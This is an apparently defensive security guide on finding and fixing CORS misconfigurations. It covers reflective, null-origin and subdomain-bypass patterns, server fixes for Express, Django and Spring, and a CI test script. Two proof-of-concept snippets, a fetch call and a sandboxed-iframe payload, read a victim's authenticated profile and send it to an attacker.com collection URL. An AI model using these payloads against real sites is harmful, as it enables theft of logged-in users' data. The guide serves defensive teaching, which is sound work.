CORS Misconfiguration Detection and Fix: How to Find and Remediate Cross-Origin Policy Failures Before They Enable Credential Theft

Retool's new app builder is where AI-generated code ships safely
Building apps with AI is easy. Getting them to production safely is another story.
CORS misconfigurations are particularly dangerous because they require no interaction beyond the victim loading a page. No XSS. No social engineering beyond getting someone to click a link. If your API reflects the Origin header back in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true, any attacker with a domain can host a page that silently reads your authenticated API responses for every visitor who is logged into your application. This guide covers the three most common CORS misconfiguration patterns, how to detect them, and how to fix the server-side header configuration.
How CORS Works and Why Misconfigurations Matter
The same-origin policy (SOP) is a browser security mechanism that prevents scripts on one origin (domain, protocol, port) from reading responses from a different origin. CORS is the mechanism that allows servers to selectively relax the SOP for specific trusted origins.
When a browser makes a cross-origin request from https://attacker.com to https://api.victim.com/user/profile, the browser includes an Origin: https://attacker.com header. The server responds with Access-Control-Allow-Origin: https://attacker.com (or not). If the response includes the attacker's origin in the ACAO header AND Access-Control-Allow-Credentials: true, the browser allows the attacker's page script to read the response body, including any sensitive data.
The key point: the browser enforces CORS on behalf of the user. The server must correctly declare which origins it trusts. A server that trusts all origins, or that dynamically trusts whatever origin is in the request, has effectively disabled the same-origin protection.
CORS misconfigurations do not affect non-credentialed requests (no cookies, no Authorization header). The attack requires that the victim be authenticated to the target application and that their browser sends the session cookie with the cross-origin request. This is why Access-Control-Allow-Credentials: true in combination with a misconfigured ACAO header is the critical combination.
Pattern 1: Reflective Origin Misconfiguration
The most common and most severe CORS misconfiguration. The server reads the Origin header from the request and reflects it directly into the Access-Control-Allow-Origin response header:
Request: Origin: https://attacker.com
Response: Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
This is functionally equivalent to Access-Control-Allow-Origin: * combined with credentials, except that browsers permit * only when credentials are NOT sent (the spec prohibits * + credentials). The reflective pattern bypasses this spec restriction.
The exploitation is simple. An attacker hosts a page at https://attacker.com/steal:
fetch('https://api.victim.com/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(data)))
});
Any authenticated victim who visits https://attacker.com/steal has their profile data (and any other API data accessible with their session) exfiltrated.
To detect the reflective pattern:
curl -H "Origin: https://attacker.com" \
-H "Cookie: session=your_valid_session" \
https://api.target.com/api/me -v 2>&1 | grep -i "access-control"
If the response includes Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true, the application is vulnerable.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Pattern 2: Null Origin Bypass
Some applications whitelist the null origin value in their CORS policy, intending to support file:// protocol requests or specific browser contexts. The null origin can be triggered from a sandboxed iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
fetch('https://api.victim.com/user/profile', { credentials: 'include' })
.then(r => r.json())
.then(d => top.location='https://attacker.com/collect?d='+encodeURIComponent(JSON.stringify(d)))
</script>">
</iframe>
The sandbox attribute causes the iframe's origin to be null. If the API responds to Origin: null with Access-Control-Allow-Origin: null, the request succeeds and the script can read the response.
Detect the null origin:
curl -H "Origin: null" \
-H "Cookie: session=your_valid_session" \
https://api.target.com/api/me -v 2>&1 | grep -i "access-control"
Fix: Never whitelist null as an allowed origin. If your application needs to support local file access for testing purposes, document and restrict that to development environments only.
Pattern 3: Subdomain and Regex Bypass
Some applications implement CORS allowlists using string matching that can be tricked by attacker-controlled subdomains or lookalike domains.
Prefix matching without anchoring:
If the CORS check is origin.startsWith('https://victim.com'), an attacker registers victim.com.attacker.com or a domain starting with the victim string.
Suffix matching without anchoring:
If the CORS check is origin.endsWith('victim.com'), an attacker registers evilVictim.com (contains victim.com as a suffix after manipulating the check).
Regex without anchoring or escaping:
If the check is origin.match('victim.com') (without anchors and without escaping the dot), victimXcom.attacker.com or victimXcom would match because . in regex matches any character.
Subdomain XSS to CORS escalation:
If the CORS policy trusts all subdomains (*.victim.com) and a subdomain has an XSS vulnerability, an attacker can use the XSS on the subdomain to make credentialed CORS requests to the main API. The subdomain's origin is trusted, the credentials are sent, and the API response is readable from the XSS context.
The secure approach to origin validation:
ALLOWED_ORIGINS = {
'https://www.victim.com',
'https://app.victim.com',
'https://admin.victim.com',
}
def get_cors_origin(request_origin: str) -> str | None:
# Exact match only -- no prefix, suffix, or regex matching
if request_origin in ALLOWED_ORIGINS:
return request_origin
return None # Do not return Access-Control-Allow-Origin if origin is not in whitelist
Fixing CORS: Correct Server-Side Header Configuration
The secure CORS configuration pattern for credentialed API endpoints:
- Maintain an explicit whitelist of allowed origins
- Validate incoming Origin header against the whitelist using exact string matching
- If the origin matches, echo it back in the response header
- If the origin does not match, do NOT return Access-Control-Allow-Origin at all (not even
nullor*) - Set Vary: Origin so that caches do not serve the CORS response for one origin to a different origin
Express.js (Node.js):
const ALLOWED_ORIGINS = new Set([
'https://www.yourapp.com',
'https://app.yourapp.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400');
return res.sendStatus(204);
}
next();
});
Django (Python):
# settings.py
CORS_ALLOWED_ORIGINS = [
'https://www.yourapp.com',
'https://app.yourapp.com',
]
CORS_ALLOW_CREDENTIALS = True
# Do NOT use CORS_ALLOW_ALL_ORIGINS = True with credentials
Spring Boot (Java):
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://www.yourapp.com", "https://app.yourapp.com")
.allowCredentials(true)
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
.allowedHeaders("Content-Type", "Authorization")
.maxAge(86400);
}
}
For public APIs that serve non-credentialed data, Access-Control-Allow-Origin: * is safe. Only use the allowlist pattern when Access-Control-Allow-Credentials: true is required.
Building a CORS Test Suite for CI/CD
Add CORS checks to your CI/CD pipeline so misconfigurations are caught before deployment. A minimal test suite:
#!/bin/bash
# cors_test.sh -- run against staging before deployment
API_URL="https://staging-api.yourapp.com/api/user"
SESSION_COOKIE="session=test_session_value"
# Test 1: Legitimate origin -- should return ACAO with that origin
LEGIT_RESPONSE=$(curl -s -I -H "Origin: https://www.yourapp.com" \
-H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$LEGIT_RESPONSE" | grep -q "Access-Control-Allow-Origin: https://www.yourapp.com"; then
echo "PASS: Legitimate origin accepted"
else
echo "FAIL: Legitimate origin not accepted -- check CORS whitelist"
fi
# Test 2: Attacker origin -- should NOT return ACAO
ATTACK_RESPONSE=$(curl -s -I -H "Origin: https://attacker.com" \
-H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$ATTACK_RESPONSE" | grep -q "Access-Control-Allow-Origin: https://attacker.com"; then
echo "FAIL: Reflective CORS vulnerability detected -- attacker origin accepted"
elif echo "$ATTACK_RESPONSE" | grep -q "Access-Control-Allow-Origin: \*"; then
echo "FAIL: Wildcard CORS with credentials -- check configuration"
else
echo "PASS: Attacker origin rejected"
fi
# Test 3: Null origin -- should NOT return ACAO: null
NULL_RESPONSE=$(curl -s -I -H "Origin: null" \
-H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$NULL_RESPONSE" | grep -q "Access-Control-Allow-Origin: null"; then
echo "FAIL: null origin accepted -- sandbox iframe bypass possible"
else
echo "PASS: null origin rejected"
fi
Integrate this into the deployment pipeline. A failed CORS test blocks deployment to production.
The bottom line
CORS misconfigurations are silent credential theft vectors. Fix the reflective origin pattern by replacing dynamic origin reflection with an explicit allowlist and exact string matching. Never whitelist the null origin. Add Vary: Origin to all CORS responses to prevent cache poisoning. Include automated CORS tests in your CI/CD pipeline to catch regressions before they reach production. The same-origin policy is the browser's most important security mechanism -- do not accidentally disable it.
Frequently asked questions
Does CORS misconfiguration affect APIs that use tokens in the Authorization header instead of cookies?
For APIs that authenticate using Bearer tokens in the Authorization header rather than cookies, CORS misconfiguration is less severe but not harmless. The browser does not automatically attach the Authorization header to cross-origin requests (unlike cookies), so the attacker cannot read protected data without the victim's token. However, if the victim's JavaScript application stores the token in localStorage and a CORS misconfiguration allows the attacker's origin, XSS on the victim's domain could still escalate to token theft via cross-origin requests. Cookie-based authentication combined with CORS misconfiguration is the most immediately exploitable pattern.
Is Access-Control-Allow-Origin: * ever safe?
Yes, for truly public APIs that serve non-sensitive data and do not use credentialed requests (no cookies, no Authorization header). A public CDN serving static assets, a public weather API, or a publicly readable documentation API can safely use `Access-Control-Allow-Origin: *`. The rule is: never combine `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true`. The browser actually enforces this and will reject the credentialed request even if the server sends both headers, but the underlying misconfiguration creates maintenance risk as the code evolves.
How do CORS misconfigurations interact with SameSite cookie protection?
SameSite=Strict or SameSite=Lax on the session cookie prevents the browser from sending that cookie on cross-origin requests, which is a significant mitigating control. A CORS reflective origin vulnerability on an API whose session cookie is SameSite=Strict cannot be exploited for credential theft because the browser will not attach the cookie to the attacker's cross-origin fetch. However, SameSite=None (required for cross-site cookie use cases like OAuth flows and embedded widgets) removes this protection. Fix both the CORS configuration and the cookie SameSite attribute to provide defense in depth.
How do you test for CORS misconfigurations during a penetration test?
Systematically test: (1) attacker.com origin against authenticated endpoints, (2) null origin, (3) subdomain variations (yourapp.com.attacker.com, evilYourapp.com), (4) HTTP variant if HTTPS origin is allowed (http://yourapp.com), (5) port variation (yourapp.com:8080). For each test, send a credentialed request (with a valid session cookie) and check whether the response ACAO header reflects the test origin AND whether Access-Control-Allow-Credentials is true. Both conditions must be present for exploitability. Burp Suite Pro includes CORS scanning, and jwt_tool/corsy automate the common test cases.
Does a Content Security Policy (CSP) help prevent CORS exploitation?
CSP and CORS are separate mechanisms that protect against different attack scenarios. CORS controls which origins can make credentialed cross-origin requests to your API. CSP controls which scripts can execute on your page and which origins your page can load resources from. A strict CSP does not prevent a CORS exploit where an attacker's page (outside your CSP scope) directly fetches your API. However, CSP's connect-src directive does prevent compromised scripts on your own page from exfiltrating data to attacker-controlled servers. For CORS exploitation prevention, fix the CORS policy itself. Use CSP as a complementary defense against XSS-based attacks on the same-origin content.
How do I test CORS configuration in a staging environment before deploying to production?
Use curl with explicit Origin headers to validate all CORS response paths: curl -H 'Origin: https://trusted.example.com' -I https://api.yourdomain.com/endpoint to verify the allowed origin receives Access-Control-Allow-Origin, and curl -H 'Origin: https://attacker.com' -I https://api.yourdomain.com/endpoint to verify untrusted origins receive no CORS header (not a wildcard or reflected origin). For preflight testing: curl -X OPTIONS -H 'Origin: https://trusted.example.com' -H 'Access-Control-Request-Method: POST' -H 'Access-Control-Request-Headers: Authorization' -I https://api.yourdomain.com/endpoint. Verify the response does not include Access-Control-Allow-Credentials: true unless you have explicitly designed for credentialed cross-origin requests and your allowed origin list is a strict allowlist, not a wildcard.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.
Unsubscribe anytime. We never sell your data.

Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.
Win a $2,495 Black Hat pass.
Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.
